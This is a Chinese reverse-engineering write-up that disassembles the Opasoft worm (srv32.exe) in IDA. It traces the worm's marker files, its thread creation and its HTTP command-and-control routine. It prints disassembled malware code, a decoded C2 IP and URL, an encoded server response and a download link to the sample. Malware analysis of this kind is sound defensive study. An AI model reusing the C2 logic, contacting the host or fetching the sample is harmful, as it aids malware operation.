CODE:004012CF           jnz   short loc_4012E5
CODE:004012D1           call   sub_40148D
CODE:004012D6           push   0FFFFFFFFh     ; dwMilliseconds = INFINITE
CODE:004012D8           push   ds:hHandle     ; hHandle
CODE:004012DE           call   WaitForSingleObject
CODE:004012E3           jmp   short loc_4012C8

这一段代码会不断执行 sub_401575,sub_40148D直到sub_401575的返回值(eax)不等于0;
看了这两个函数应该事关键了,我们先看看函数sub_401575:

CODE:00401575 sub_401575     proc near
CODE:00401575 var_4       = dword ptr -4
CODE:00401575           enter   4, 0
CODE:00401579           push   esi
CODE:0040157A           mov   [ebp+var_4], 0
CODE:00401581           push   offset dword_406587
CODE:00401586           call   sub_4014CA     ; 读文件Srv32tsk的内容,存放到[406587]
CODE:0040158B           cmp   eax, 0FFFFFFFFh
CODE:0040158E           jz     short loc_4015E1 ; 打开文件srv32tsk失败则退出并返回0
CODE:00401590           mov   esi, eax
CODE:00401592           mov   [ebp+var_4], 1
CODE:00401599           cmp   ds:dword_406593, 0
CODE:004015A0           jz     short loc_4015AA
CODE:004015A2           push   esi         ; hObject
CODE:004015A3           call   CloseHandle
CODE:004015A8           jmp   short loc_4015E1

跟进sub_4014CA看看它读文件的操作

CODE:004014CA sub_4014CA     proc near
CODE:004014CA NumberOfBytesRead= dword ptr -8
CODE:004014CA lpBuffer     = dword ptr 8
CODE:004014CA
CODE:004014CA           enter   8, 0
CODE:004014CE           push   0           ; hTemplateFile
CODE:004014D0           push   0           ; dwFlagsAndAttributes
CODE:004014D2           push   3           ; OPEN_EXISTING
CODE:004014D4           push   0           ; lpSecurityAttributes
CODE:004014D6           push   0           ; dwShareMode
CODE:004014D8           push   0C0000000h     ; dwDesiredAccess
CODE:004014DD           push   offset aSrv32tsk ; lpFileName = "Srv32tsk"
CODE:004014E2           call   CreateFileA
CODE:004014E7           cmp   eax, 0FFFFFFFFh
CODE:004014EA           jz     short locret_40152D ; 打开文件失败则退出

打开Windows目录下的文件srv32tsk,到CreateFileA会失败,我们可以先建一个文件
srv32tsk,然后看它对文件做了些什么操作


CODE:004014EC           mov   esi, eax
CODE:004014EE           lea   eax, [ebp-8]
CODE:004014F1           push   0           ; lpOverlapped
CODE:004014F3           push   eax         ; lpNumberOfBytesRead
CODE:004014F4           push   824h         ; nNumberOfBytesToRead = 2084B
CODE:004014F9           push   dword ptr [ebp+8] ; lpBuffer
CODE:004014FC           push   esi         ; hFile
CODE:004014FD           call   ReadFile
CODE:00401502           cmp   dword ptr [ebp-8], 2Ch ; 读了文件srv32tsk的字节数和44比较
CODE:00401506           jb     short loc_401522 ; 小于44个字节退出
CODE:00401508           mov   edx, [ebp+8]   ; 读取的内容
CODE:0040150B           mov   eax, [edx+20h] ; 文件srv32tsk的第32个字节开始的DWORD值
CODE:0040150E           shl   eax, 3
CODE:00401511           add   eax, 24h
CODE:00401514           cmp   eax, [ebp-8]   ; 把上面的DWORD值乘以8加上24后和文件大小比较
CODE:00401517           jnz   short loc_401522
CODE:00401519           cmp   byte ptr [edx], 0 ; 判断文件的第一个字节是否为0
CODE:0040151C           jz     short loc_401522
CODE:0040151E           mov   eax, esi
CODE:00401520           jmp   short locret_40152D
CODE:00401522 ; ///////////////////////////////////////////////////////////////////////////
CODE:00401522
CODE:00401522 loc_401522:
CODE:00401522           push   esi         ; hObject
CODE:00401523           call   CloseHandle
CODE:00401528           mov   eax, 0FFFFFFFFh
CODE:0040152D
CODE:0040152D locret_40152D:
CODE:0040152D           leave
CODE:0040152E           retn   4
CODE:0040152E sub_4014CA     endp

返回到函数sub_401575:

CODE:0040158B           cmp   eax, 0FFFFFFFFh
CODE:0040158E           jz     short loc_4015E1 ; 打开文件srv32tsk失败则退出并返回0
CODE:00401590           mov   esi, eax
CODE:00401592           mov   [ebp+var_4], 1
CODE:00401599           cmp   ds:dword_406593, 0 ; 从文件srv32tsk开始的第4个DWORD值
CODE:004015A0           jz     short loc_4015AA
CODE:004015A2           push   esi         ; hObject
CODE:004015A3           call   CloseHandle   ; 关闭文件
CODE:004015A8           jmp   short loc_4015E1 ; 退出
CODE:004015AA ; ///////////////////////////////////////////////////////////////////////////
CODE:004015AA
CODE:004015AA loc_4015AA:                   ; CODE XREF: sub_401575+2Bj
CODE:004015AA           cmp   ds:dword_40658B, 0 ; 从文件开始的第2个DWORD值
CODE:004015B1           jz     short loc_4015D9
CODE:004015B3
CODE:004015B3 loc_4015B3:
CODE:004015B3           call   sub_40171C
CODE:004015B8           mov   ds:dword_406593, 1 ; 从文件srv32tsk开始的第4个DWORD值
CODE:004015C2           mov   ds:dword_40658B, 0 ; 从文件srv32tsk开始的第2个DWORD值
CODE:004015CC           push   offset dword_406587
CODE:004015D1           push   esi
CODE:004015D2           call   sub_401531     ; 写文件srv32tsk
CODE:004015D7           jmp   short loc_4015E1
CODE:004015D9 ; ///////////////////////////////////////////////////////////////////////////
CODE:004015D9
CODE:004015D9 loc_4015D9:
CODE:004015D9           inc   ds:dword_40658F ; 从文件srv32tsk开始的第3个DWORD值
CODE:004015DF           jmp   short loc_4015B3
CODE:004015E1 ; ///////////////////////////////////////////////////////////////////////////
CODE:004015E1
CODE:004015E1 loc_4015E1:
CODE:004015E1           mov   eax, [ebp+var_4]
CODE:004015E4           pop   esi
CODE:004015E5           leave
CODE:004015E6           retn
CODE:004015E6 sub_401575     endp

文件srv32tsk打开失败的话直接退出,如果读文件成功,比较从文件开始读的第4个DWORD
值是否为0,不等于0关闭文件退出此函数,等于0的话比较第2个DWORD值是否为0,如果第
2个DWORD值不为0的话调用sub_40171C,然后又调用sub_401531写文件srv32tsk。

文件srv32tsk的头部的结构大概是这样的
struct tagSRV32TSK_HEAD
{
    DWORD dword_406587;
    DWORD dword_40658B;
    DWORD dword_40658F;
    DWORD dword_406593;
    DWORD dword_406597;
    DWORD dword_40659B;
    BYTE[8] unk_40659F;
    DWORD dword_4065A7;
};

这一段代码里调用了一个函数sub_40171C:

CODE:0040171C sub_40171C     proc near
CODE:0040171C           mov   eax, ds:dword_40658F ; 从文件srv32tsk开始的第3个DWORD值
CODE:00401721           rcl   eax, 0Dh
CODE:00401724           rcl   edx, 1
CODE:00401726           rcl   eax, 1
CODE:00401728           rcl   edx, 1
CODE:0040172A           rcl   eax, 1
CODE:0040172C           rcl   edx, 1
CODE:0040172E           rcl   eax, 1
CODE:00401730           rcl   edx, 1
CODE:00401732           rcl   eax, 1
CODE:00401734           rcl   edx, 4
CODE:00401737           rcl   eax, 1
CODE:00401739           rcl   edx, 1
CODE:0040173B           rcl   eax, 1
CODE:0040173D           rcl   edx, 3
CODE:00401740           rcl   eax, 1
CODE:00401742           rcl   edx, 1
CODE:00401744           rcl   eax, 1
CODE:00401746           rcl   edx, 1
CODE:00401748           rcl   eax, 1
CODE:0040174A           rcl   edx, 2
CODE:0040174D           rcl   eax, 1
CODE:0040174F           rcl   edx, 1
CODE:00401751           rcl   eax, 1
CODE:00401753           rcl   edx, 1
CODE:00401755           rcl   eax, 1
CODE:00401757           rcl   edx, 1
CODE:00401759           rcl   eax, 1
CODE:0040175B           rcl   edx, 1
CODE:0040175D           rcl   eax, 1
CODE:0040175F           rcl   edx, 1
CODE:00401761           rcl   eax, 1
CODE:00401763           rcl   edx, 1
CODE:00401765           rcl   eax, 1
CODE:00401767           rcl   edx, 2
CODE:0040176A           rcl   eax, 1
CODE:0040176C           rcl   edx, 1
CODE:0040176E           rcl   eax, 1
CODE:00401770           rcl   edx, 1
CODE:00401772           rcl   eax, 1
CODE:00401774           rcl   edx, 6
CODE:00401777           and   edx, 0F8CEFEE0h
CODE:0040177D           bswap   edx
CODE:0040177F           mov   ds:dword_406597, edx ; 文件srv32tsk的第5个DW值
CODE:00401785           xor   edx, edx
CODE:00401787           mov   ds:dword_40659B, edx ; 文件srv32tsk的第6个DW值
CODE:0040178D           retn
CODE:0040178D sub_40171C     endp

对文件srv32tsk操作完后返回到sub_40123E

CODE:004012CD           test   eax, eax     ; 如果打开文件srv32tsk出错,eax == 0
CODE:004012CF           jnz   short loc_4012E5
CODE:004012D1           call   sub_40148D
CODE:004012D6           push   0FFFFFFFFh     ; dwMilliseconds = INFINITE
CODE:004012D8           push   ds:hHandle     ; hHandle
CODE:004012DE           call   WaitForSingleObject
CODE:004012E3           jmp   short loc_4012C8

现在还有一个会频繁执行的函数sub_40148D

CODE:0040148D sub_40148D     proc near
CODE:0040148D           cmp   ds:ThreadId, 0
CODE:00401494
CODE:00401494 loc_401494:
CODE:00401494           jnz   short locret_4014C9
CODE:00401496           cmp   ds:hHandle, 0FFFFFFFFh
CODE:0040149D           jz     short loc_4014AA
CODE:0040149F           push   ds:hHandle     ; hObject
CODE:004014A5           call   CloseHandle
CODE:004014AA
CODE:004014AA loc_4014AA:
CODE:004014AA           push   offset ThreadId ; lpThreadId
CODE:004014AF           push   0           ; dwCreationFlags
CODE:004014B1           push   0           ; lpParameter
CODE:004014B3           push   401DB0h       ; lpStartAddress
CODE:004014B8           push   2000h       ; dwStackSize
CODE:004014BD           push   0           ; lpThreadAttributes
CODE:004014BF           call   CreateThread
CODE:004014C4           mov   ds:hHandle, eax
CODE:004014C9
CODE:004014C9 locret_4014C9:
CODE:004014C9           retn
CODE:004014C9 sub_40148D     endp

创建了一个线程(^_^,到这里才刚刚开始噢!),肯定不会干什么好事,下次
我们再详细分析这个线程。

到这里有个2问题:
1. 由函数sub_4033E7算出的内存数据做何用?
2. 文件srv32Res,sccss何srv32tsk做何用?


srv32样本附件:http://bbs.pediy.com/upload/2005/4/files/srv32.rar_724.rar
================

幕后通讯篇

文件名称:srv32.exe
蠕虫名称:Net-Worm.Win32.Opasoft.s
工具:   IDA 4.5.1, SoftICE3.1


上次我们说到在函数sub_40148D里创建了一个线程,现在我们看看这个线程到底
在作什么。
CODE:0040148D sub_40148D     proc near
...
CODE:004014AA loc_4014AA:
CODE:004014AA           push   offset ThreadId ; lpThreadId
CODE:004014AF           push   0           ; dwCreationFlags
CODE:004014B1           push   0           ; lpParameter
CODE:004014B3           push   401DB0h       ; lpStartAddress
CODE:004014B8           push   2000h       ; dwStackSize
CODE:004014BD           push   0           ; lpThreadAttributes
CODE:004014BF           call   CreateThread
CODE:004014C4           mov   ds:hHandle, eax
CODE:004014C9
CODE:004014C9 locret_4014C9:
CODE:004014C9           retn
CODE:004014C9 sub_40148D     endp

用IDA查看该线程的代码如下:

CODE:00401DB0 ; DWORD __stdcall StartAddress(LPVOID)
CODE:00401DB0 StartAddress   proc near
CODE:00401DB0
CODE:00401DB0 dwConnectedState= dword ptr -0A68h
CODE:00401DB0 var_A64       = dword ptr -0A64h
CODE:00401DB0 var_A60       = dword ptr -0A60h
CODE:00401DB0 var_A5C       = dword ptr -0A5Ch
CODE:00401DB0 var_A58       = dword ptr -0A58h
CODE:00401DB0 NumberOfBytesWritten= dword ptr -0A54h
CODE:00401DB0 lpBuffer     = dword ptr -0A4Ch
CODE:00401DB0 hInternet     = dword ptr -0A48h
CODE:00401DB0 var_A44       = dword ptr -0A44h
CODE:00401DB0 pszUrl       = dword ptr -944h
CODE:00401DB0 Buffer       = dword ptr -844h
CODE:00401DB0 var_840       = dword ptr -840h
CODE:00401DB0 var_83C       = dword ptr -83Ch
CODE:00401DB0 var_838       = dword ptr -838h
CODE:00401DB0 var_834       = dword ptr -834h
CODE:00401DB0 var_830       = dword ptr -830h
CODE:00401DB0 var_82C       = dword ptr -82Ch
CODE:00401DB0 var_828       = dword ptr -828h
CODE:00401DB0 var_81C       = dword ptr -81Ch
CODE:00401DB0 var_814       = dword ptr -814h
CODE:00401DB0 var_810       = dword ptr -810h
CODE:00401DB0 var_10       = dword ptr -10h
CODE:00401DB0 var_C       = dword ptr -0Ch
CODE:00401DB0 hMem         = dword ptr -8
CODE:00401DB0 pBufOfReadFile = dword ptr -4
CODE:00401DB0
CODE:00401DB0           enter   0A68h, 0
CODE:00401DB4           mov   [ebp+pBufOfReadFile], 0
CODE:00401DBB
CODE:00401DBB loc_401DBB:
CODE:00401DBB           lea   eax, [ebp+dwConnectedState]
CODE:00401DC1           push   0
CODE:00401DC3           push   eax         ; lpdwFlags
CODE:00401DC4           call   InternetGetConnectedState ; 获得本地网络连接状态
CODE:00401DC9           test   eax, eax
CODE:00401DCB           jnz   short loc_401DD9
CODE:00401DCD
CODE:00401DCD loc_401DCD:
CODE:00401DCD           push   2710h       ; dwMilliseconds
CODE:00401DD2           call   Sleep
CODE:00401DD7           jmp   short loc_401DBB ; 睡10秒再工作
CODE:00401DD9 ; ///////////////////////////////////////////////////////////////////////////


可以看到该线程一开始就调用InternetGetConnectedState来判断当前的网络连接状态,
没有连接就休息10秒再试,有连接就跳转到以下代码:

CODE:00401DD9 loc_401DD9:
CODE:00401DD9           push   0
CODE:00401DDB           push   0
CODE:00401DDD           push   0
CODE:00401DDF           push   0           ; INTERNET_OPEN_TYPE_PRECONFIG
CODE:00401DE1           push   0
CODE:00401DE3           call   InternetOpenA   ; 初始化工作
CODE:00401DE8           mov   [ebp+hInternet], eax
CODE:00401DEE           push   10000h       ; 65536 Bytes
CODE:00401DF3           push   0           ; uFlags = LMEM_FIXED
CODE:00401DF5           call   LocalAlloc     ; 分配内存
CODE:00401DFA           mov   [ebp+lpBuffer], eax
CODE:00401E00           lea   eax, [ebp+pBufOfReadFile]
CODE:00401E03           push   eax
CODE:00401E04           call   sub_401A39     ; 对文件hstlst操作
CODE:00401E09           test   eax, eax
CODE:00401E0B           jz     short loc_401E29


InternetOpenA为调用WinInet.dll里的函数做一些准备工作,sub_401A39会
读Windows目录下文件hstlst的内容,并对读出的内容进行转换(pBufOfReadFile
指向地址就是转换后的内容的地址),第一次执行并没有这个文件,也没有跳转,其实看
名字也能猜到文件hstlst可能是一段IP地址(HostList嘛:)),其实文件hstlst不存
在的话在函数sub_401A39会用到一段数据如下:

g_IpAddr_40600C[] =
{
     0xDF,0x11,0xD2,0xEE,
     0x45,0xC6,0xFA,0xFA,
     0xB2,0xBA,0xF0,0x67,
     0x39,0x74,0x88,0xEE,
     0x25,0xB1,0xD0,0x39,
     0x87,0x1A,0x0C,0x55,
     0x11,0x65,0xA7,0xDE,
     0xA4,0x4F,0xDA,0x10
}

这段数据经过函数sub_401967转换成:

pBufOfReadFile[] =
{
     0xE8,0xFE,0x0C,0x00,
     0xF0,0x06,0x1E,0x00,
     0x42,0xF6,0x29,0xC9,
     0x3F,0xF7,0x87,0x30,
     0x3F,0xF7,0x87,0x30,
     0x40,0xB1,0xE2,0xC0,
     0x00,0x00,0x00,0x00,
     0x00,0x00,0x00,0x00
}

一会会用到DWORD pBufOfReadFile[0xC] 就是0x3F,0xF7,0x87,0x30
到下面你就会发现它是一段IP地址,0x3087F73F = 3F.F7.87.30=63.247.135.48

继续走...

CODE:00401E0D           mov   edi, [ebp+pBufOfReadFile]
CODE:00401E10           mov   ecx, eax
CODE:00401E12           shr   ecx, 2
CODE:00401E15           xor   eax, eax
CODE:00401E17           cld
CODE:00401E18           repne scasd
CODE:00401E1A           sub   edi, [ebp+pBufOfReadFile]
CODE:00401E1D           shr   edi, 2
CODE:00401E20           dec   edi
CODE:00401E21           mov   [ebp+var_C], edi
CODE:00401E24           cmp   edi, 5
CODE:00401E27           jge   short loc_401E2B      ;程序到这里会跳转

CODE:00401E29 loc_401E29:
CODE:00401E29           jmp   short loc_401DCD
CODE:00401E2B ; ///////////////////////////////////////////////////////////////////////////
CODE:00401E2B
CODE:00401E2B loc_401E2B:
CODE:00401E2B           mov   [ebp+var_A64], 0
CODE:00401E35           push   0           ; hTemplateFile
CODE:00401E37           push   0           ; dwFlagsAndAttributes
CODE:00401E39           push   3           ; OPEN_EXISTING
CODE:00401E3B           push   0           ; lpSecurityAttributes
CODE:00401E3D           push   3           ; dwShareMode
CODE:00401E3F           push   80000000h     ; dwDesiredAccess
CODE:00401E44           push   offset aSccss   ; lpFileName
CODE:00401E49           call   CreateFileA
CODE:00401E4E           cmp   eax, 0FFFFFFFFh
CODE:00401E51           jz     loc_401F91     ; 文件sccss不存在跳

噢,又用到了sccss文件,没有跳走...

CODE:00401F9B loc_401F9B:
CODE:00401F9B           mov   [ebp+var_10], 0
CODE:00401FA2           push   0           ; hTemplateFile
CODE:00401FA4           push   0           ; dwFlagsAndAttributes
CODE:00401FA6           push   3           ; OPEN_EXISTING
CODE:00401FA8           push   0           ; lpSecurityAttributes
CODE:00401FAA           push   3           ; dwShareMode
CODE:00401FAC           push   80000000h     ; dwDesiredAccess
CODE:00401FB1           push   offset aSrv32res ; lpFileName
CODE:00401FB6           call   CreateFileA   ; 打开文件srv32res
CODE:00401FBB           cmp   eax, 0FFFFFFFFh
CODE:00401FBE           jnz   short loc_401FD0 ; 打开文件srv32res成功则跳转
CODE:00401FC0           cmp   ds:dword_406587, 0
CODE:00401FC7           jnz   short loc_401FCB
CODE:00401FC9           jmp   short loc_402034

哈哈,还记得第一篇吗,就是这两个文件sccss,srv32res,这次jmp到了402034

CODE:00402034 loc_402034:
CODE:00402034           lea   eax, [ebp+pszUrlParam]
CODE:0040203A           push   offset aT0     ; "t=0"
CODE:0040203F           push   eax
CODE:00402040           call   lstrcpy       ; 把字符串"t=0"拷贝到var_A44
CODE:00402045           jmp   short $+2     ; 到loc_402047
CODE:00402047
CODE:00402047 loc_402047:
CODE:00402047           mov   eax, [ebp+pBufOfReadFile]
CODE:0040204A           push   dword ptr [eax+0Ch] ; in
CODE:0040204D           call   inet_ntoa     ; 把IP地址转换成字符格式x.x.x.x
CODE:0040204D                           ; 第一次到这时为63.247.135.48
CODE:00402052           lea   edi, [ebp+pszUrl]
CODE:00402058           lea   ecx, [ebp+pszUrlParam]
CODE:0040205E           push   ecx         ; string "t=0"
CODE:0040205F           push   eax         ; Ip Address:63.247.135.48
CODE:00402060           push   offset aHttpSR_php?S ; "http://%s/r.php?%s"
CODE:00402065           push   edi
CODE:00402066           call   wsprintfA     ; 函数执行完后
CODE:00402066                           ; pszUrl == *(edi)
CODE:00402066                           ; = http://63.247.135.48/r.php?t=0
CODE:0040206B           add   esp, 10h     ; __cdecl调用,由调用函数平衡堆栈
CODE:0040206E           lea   eax, [ebp+NumberOfBytesWritten]


看这两句
mov eax,[ebp+pBufOfReadFile]
push dword ptr [eax+0ch]

那个push的就是(DWORD) pBufOfReadFile[0xC],然后调用inet_ntoa把IP地址转换
成了点分十进制的字符形式,最后得到了URL:http://63.247.135.48/r.php?t=0

CODE:00402074           push   eax
CODE:00402075           push   [ebp+lpBuffer]
CODE:0040207B           push   edi         ; 把URL入栈
CODE:0040207C           push   [ebp+hInternet]
CODE:00402082           call   sub_401CF0

URL入栈后调用了sub_401CF0,跟进去看看它搞什么鬼..

CODE:00401CF0 sub_401CF0     proc near
CODE:00401CF0
CODE:00401CF0 dwNumberOfByteRead= dword ptr -110h
CODE:00401CF0 hUrlFile     = dword ptr -10Ch
CODE:00401CF0 dwInfoBufSize   = dword ptr -108h
CODE:00401CF0 lpszInfoBuf   = dword ptr -104h
CODE:00401CF0 var_dwReturnValue= dword ptr -4
CODE:00401CF0 arg_hInternet   = dword ptr 8
CODE:00401CF0 arg_URL       = dword ptr 0Ch
CODE:00401CF0 arg_lpszReadBuf = dword ptr 10h
CODE:00401CF0 arg_pdwUrlFileSize= dword ptr 14h
CODE:00401CF0                                    ;为了方便理解我已经把这个函数的参数和局部变量重新命了名
CODE:00401CF0           enter   110h, 0
CODE:00401CF4           push   esi
CODE:00401CF5           mov   [ebp+var_dwReturnValue], 0
CODE:00401CFC           push   0           ; dwContext
CODE:00401CFE           push   4000100h     ; dwFlags ==
CODE:00401CFE                           ; INTERNET_FLAG_RAW_DATA │
CODE:00401CFE                           ; INTERNET_FLAG_PRAGMA_NOCACHE
CODE:00401D03           push   0           ; dwHeadersLength
CODE:00401D05           push   0           ; lpszHeaders
CODE:00401D07           push   [ebp+arg_URL]   ; lpszURL == http://63.247.135.48/r.php?t=0
CODE:00401D0A           push   [ebp+arg_hInternet] ; hInternet
CODE:00401D0D           call   InternetOpenUrlA
CODE:00401D12           test   eax, eax
CODE:00401D14           jz     loc_401DA8     ; InternetOpenUrlA失败则跳转

调用InternetOpenUrlA打开上面得到的那个URL:http://63.246.135.48/r.php?t=0

CODE:00401D1A           mov   [ebp+hUrlFile], eax
CODE:00401D20           mov   [ebp+dwInfoBufSize], 100h
CODE:00401D2A           lea   eax, [ebp+lpszInfoBuf]
CODE:00401D30           lea   edx, [ebp+dwInfoBufSize]
CODE:00401D36           push   0
CODE:00401D38           push   edx
CODE:00401D39           push   eax
CODE:00401D3A           push   13h
CODE:00401D3C           push   [ebp+hUrlFile]
CODE:00401D42           call   HttpQueryInfoA ; 返回的信息串为"200"
CODE:00401D42                           ; 表示http请求成功,返回信息存储到lpszInfoBuf
CODE:00401D47           test   eax, eax
CODE:00401D49           jz     short loc_401D9D ; 函数HttpQueryInfo失败则跳转

调用HttpQueryInfo来判断HTTP服务器63.246.135.48是否正常响应,返回值为200
表示http请求成功,下面就会调用InternetReadFile去读文件。

CODE:00401D4B           mov   esi, [ebp+arg_pdwUrlFileSize]
CODE:00401D4E           mov   dword ptr [esi], 0
CODE:00401D54
CODE:00401D54 loc_401D54:
CODE:00401D54           mov   eax, [ebp+arg_lpszReadBuf]
CODE:00401D57           add   eax, [esi]
CODE:00401D59           mov   ecx, 10000h
CODE:00401D5E           sub   ecx, [esi]
CODE:00401D60           lea   edx, [ebp+dwNumberOfByteRead]
CODE:00401D66           push   edx
CODE:00401D67           push   ecx
CODE:00401D68           push   eax
CODE:00401D69           push   [ebp+hUrlFile]
CODE:00401D6F           call   InternetReadFile
CODE:00401D74           test   eax, eax
CODE:00401D76           jz     short loc_401D86 ; 失败则跳转

读r.php?t=0返回的内容,存到arg_lpszReadBuf(这是个指针参数,用于向上层函数返回
读取的内容),读的字节数存到dwNumberOfByteRead,读出的内容为:

arg_lpszReadBuf[] = "/
t=8&p=1525FFFFFFFFFFFF&c=D0A58993CE0F2086053F57E8785F90C61B1F8E
20DB856D9554CC789EC0F28D7162D43FC75E50069F8793C546B88A9C4BD80D2
9241357C766626A77D951CD57CFF9794E84507F478A47EC525DAA963D70172A
D7CCC3348F3B06B598EA9A286187733F576EB82A6D43CACF4F56746595C01A6
005215EA0E0BE6D9896C25B5A9252F1949A0E964CC86EE6EA5B00F15AE9B386
15CC7594BD85B3318FDC8D905D4D5ED93AD43F211A008F6C0D0FDF702F21BA7
3349F58AA2F78F7FE0750D8C0D019846F4B63B1D5FD699F62A0D5471FC9A69B
643B20BE7A819679A89868C58723FDA8C0B503329C6B345C3D35FFA9DABC868
0BE5A90BBB8D9EE4C963619F1949EC6F8DF24E6DFC6E38CB7FB024D59E80358
08C6B054DEA68B0F8F05302C027DBC14A149C72F9F907AB3D909EDEF3085C9B
57A36D64DA14C23071AB5715BDEDDC6195D558D1310842BB33D180FF103EFF9
CF931D58E0BE5000095351DCE2D48000EAF73E84D1DD92A3B0C0CFA73179613
628E9A63E89DAB3A3C64D3573141C2D17A55064F988361669A4D0B9DAD6886E
5F32BFB2C40A7DFC8BF1457A512475D1E32B3799AF025547444C19CCE8B62BD
26EA0AF2350E421DB48EDAE22CF696946928788DD05FE044848E3FD61792192
DD6D2424DF48BC501E8200EE6AFEFF50C3B5488BAD36892C2763BCC6E7AB30C
F789426A745FD65B0C8ECE543EA0D6606D2220DEBE1D1E3D42C97FE5216BE06
A7B07DB2145491990A8AD977055A7540049AB776445ABC1F83FFF41247CD8AE
C388ECDBF562A1C9B2F850992A5AE4179915E63811D9BD958FA135E69F16B73
4E9FD4679FED9464E6EA753AFB5BB411F3AF28A7347F7B49C5A05C776AE1F9F
0FBDA29252FBF21F3F73CF888B599F0E6927B48725FA7C6A9871178EEAF6E42
BF0694A62838BDB2240DAE97F654A37F14872675A34CAA068A552AB3F53BCBB
4DD890E4788120AA3319EBE6BA4E98612EB93252D794C6BECB3464F48242F44
3B3EF0E077C15961E5406B821A626F755483A3FFA7A5E451E4CE96E149A0FBD
D&v=FEE9&d=0&w=&k=124F5"

字符串的最后这一段"&v=FEE9&d=0&w=&k=124F5",每次请求可能会不一样。

CODE:00401D78           mov   eax, [ebp+dwNumberOfByteRead]
CODE:00401D7E           test   eax, eax
CODE:00401D80           jz     short loc_401D8F
CODE:00401D82           add   [esi], eax
CODE:00401D84           jmp   short loc_401D54
CODE:00401D86 ; ///////////////////////////////////////////////////////////////////////////
CODE:00401D86
CODE:00401D86 loc_401D86:
CODE:00401D86           mov   [ebp+var_dwReturnValue], 0FFFFFFFFh
CODE:00401D8D           jmp   short loc_401D9D
CODE:00401D8F ; ///////////////////////////////////////////////////////////////////////////
CODE:00401D8F
CODE:00401D8F loc_401D8F:
CODE:00401D8F           lea   eax, [ebp+lpszInfoBuf]
CODE:00401D95           call   sub_4018D7     ; 把Internet返回的字符串"200"
CODE:00401D95                           ; 转换成数字200(0xC8)

子函数sub_4018D7把Http请求返回的信息转换成数字200(十六进制0xC8),并作为函数的返回值返回。

CODE:00401D9A           mov   [ebp+var_dwReturnValue], eax
CODE:00401D9D

CODE:00401D9D loc_401D9D:
CODE:00401D9D           push   [ebp+hUrlFile]
CODE:00401DA3           call   InternetCloseHandle
CODE:00401DA8
CODE:00401DA8 loc_401DA8:
CODE:00401DA8           mov   eax, [ebp+var_dwReturnValue] ; 函数最后返回值200(0xC8)
CODE:00401DAB           pop   esi
CODE:00401DAC           leave
CODE:00401DAD           retn   10h
CODE:00401DAD sub_401CF0     endp

函数返回:

CODE:00402082           call   sub_401CF0
CODE:00402087           test   eax, eax         ;函数返回到这里
CODE:00402089           jz     loc_402264     ; sub_401CF0调用失败则跳转
CODE:0040208F           cmp   eax, 0FFFFFFFFh
CODE:00402092           jz     loc_402264
CODE:00402098           cmp   eax, 0C8h
CODE:0040209D           jnz   loc_40228A

跳来跳去看的我眼都花了,今天先到这,记下各寄存器的值明天继续...
函数返回到402087时各寄存器的值为:

============================
EAX = 000000C8
EBX = 00000000
ECX = 0007E220
EDX = 00000000
ESI = 0040602C
EDI = 0076F670
EBP = 0076FFB4
ESP = 0076F54C

C 0
P 1
A 0
Z 1
S 0
T 0
D 0
O 0
I 1
============================
逆向分析笔记4




文件名称:srv32.exe
蠕虫名称:Net-Worm.Win32.Opasoft.s
工具:   IDA 4.5.1, SoftICE3.1


上次我们跟到sub_401CF0里,srv32会读http://63.246.135.48/r.php?t=0
返回时寄存器EAX = 000000C8,代码如下:

CODE:00402082           call   sub_401CF0
CODE:00402087           test   eax, eax
CODE:00402089           jz     loc_402264     ; sub_401CF0调用失败则跳转
CODE:0040208F           cmp   eax, 0FFFFFFFFh
CODE:00402092           jz     loc_402264     ; 在sub_401CF0中如果InternetReadFile
CODE:00402092                           ; 失败3次,则sleep一下再试
CODE:00402098           cmp   eax, 0C8h     ; http请求的返回值是否是200
CODE:0040209D           jnz   loc_40228A     ; http请求失败退出线程
CODE:004020A3           mov   eax, [ebp+lpReadUrlBuffer]
CODE:004020A9           add   eax, [ebp+NumberOfBytesWritten]
CODE:004020AF           mov   byte ptr [eax], 0 ; 给字符串lpReadUrlFile加上结束符"/0"
CODE:004020B2           push   [ebp+lpReadUrlBuffer]
CODE:004020B8           call   CharUpperA     ; 把字符串转大写

调用完sub_401CF0后会用
cmp eax,0FFFFFFFFh
cmp eax,0C8h
来判断返回值如果返回值等于0x0FFFFFFFF表示在函数sub_401CF0中调用InternetReadFile
时失败,如果等于0xC8(200)表示http请求成功,不等于表示请求失败会退出线程。

sub_401CF0调用成功后lpReadUrlBuffer指向了从http://63.246.135.48/r.php?t=0读
出的内容,然后有调用了CharUpperA把内容中的字母转换成大写。

CODE:004020BD           lea   eax, [ebp+Hex_K_Value]
CODE:004020C3           push   eax
CODE:004020C4           push   offset aK     ; "K"
CODE:004020C9           push   [ebp+lpReadUrlBuffer]
CODE:004020CF           call   sub_401C01
CODE:004020D4           test   eax, eax
CODE:004020D6           jz     loc_40228A     ; 退出线程
CODE:004020DC           lea   ecx, [ebp+Hex_V_Value]
CODE:004020E2           push   ecx
CODE:004020E3           push   offset aV     ; "V"
CODE:004020E8           push   [ebp+lpReadUrlBuffer]
CODE:004020EE           call   sub_401C01
CODE:004020F3           test   eax, eax
CODE:004020F5           jz     loc_40228A     ; 退出线程
CODE:004020FB           lea   ecx, [ebp+Hex_W_Value]
CODE:00402101           push   ecx
CODE:00402102           push   offset aW     ; "W"
CODE:00402107           push   [ebp+lpReadUrlBuffer]
CODE:0040210D           call   sub_401C01
CODE:00402112           test   eax, eax
CODE:00402114           jz     loc_40228A     ; 退出线程
CODE:0040211A           mov   ecx, offset Hex_D_Value
CODE:0040211F           push   ecx
CODE:00402120           push   offset aD_0   ; "D"
CODE:00402125           push   [ebp+lpReadUrlBuffer]
CODE:0040212B           call   sub_401C01
CODE:00402130           test   eax, eax
CODE:00402132           jz     loc_40228A     ; 退出线程
CODE:00402138           lea   eax, [ebp+Hex_T_Value]
CODE:0040213E           push   eax
CODE:0040213F           push   offset aT     ; "T"
CODE:00402144           push   [ebp+lpReadUrlBuffer]
CODE:0040214A           call   sub_401C01
CODE:0040214F           test   eax, eax
CODE:00402151           jz     loc_4021F0
CODE:00402157           lea   eax, [ebp+Hex_P_Value]
CODE:0040215D           push   eax
CODE:0040215E           push   offset aP     ; "P"
CODE:00402163           push   [ebp+lpReadUrlBuffer]
CODE:00402169           call   sub_401BA9
CODE:0040216E           cmp   eax, 8       ; 比较Hex_P_Value的字节数是否为8
CODE:00402171           jnz   loc_40228A     ; 退出线程
CODE:00402177           lea   eax, [ebp+Hex_C_Value]
CODE:0040217D           push   eax
CODE:0040217E           push   offset aC     ; "C"
CODE:00402183           push   [ebp+lpReadUrlBuffer]
CODE:00402189           call   sub_401BA9
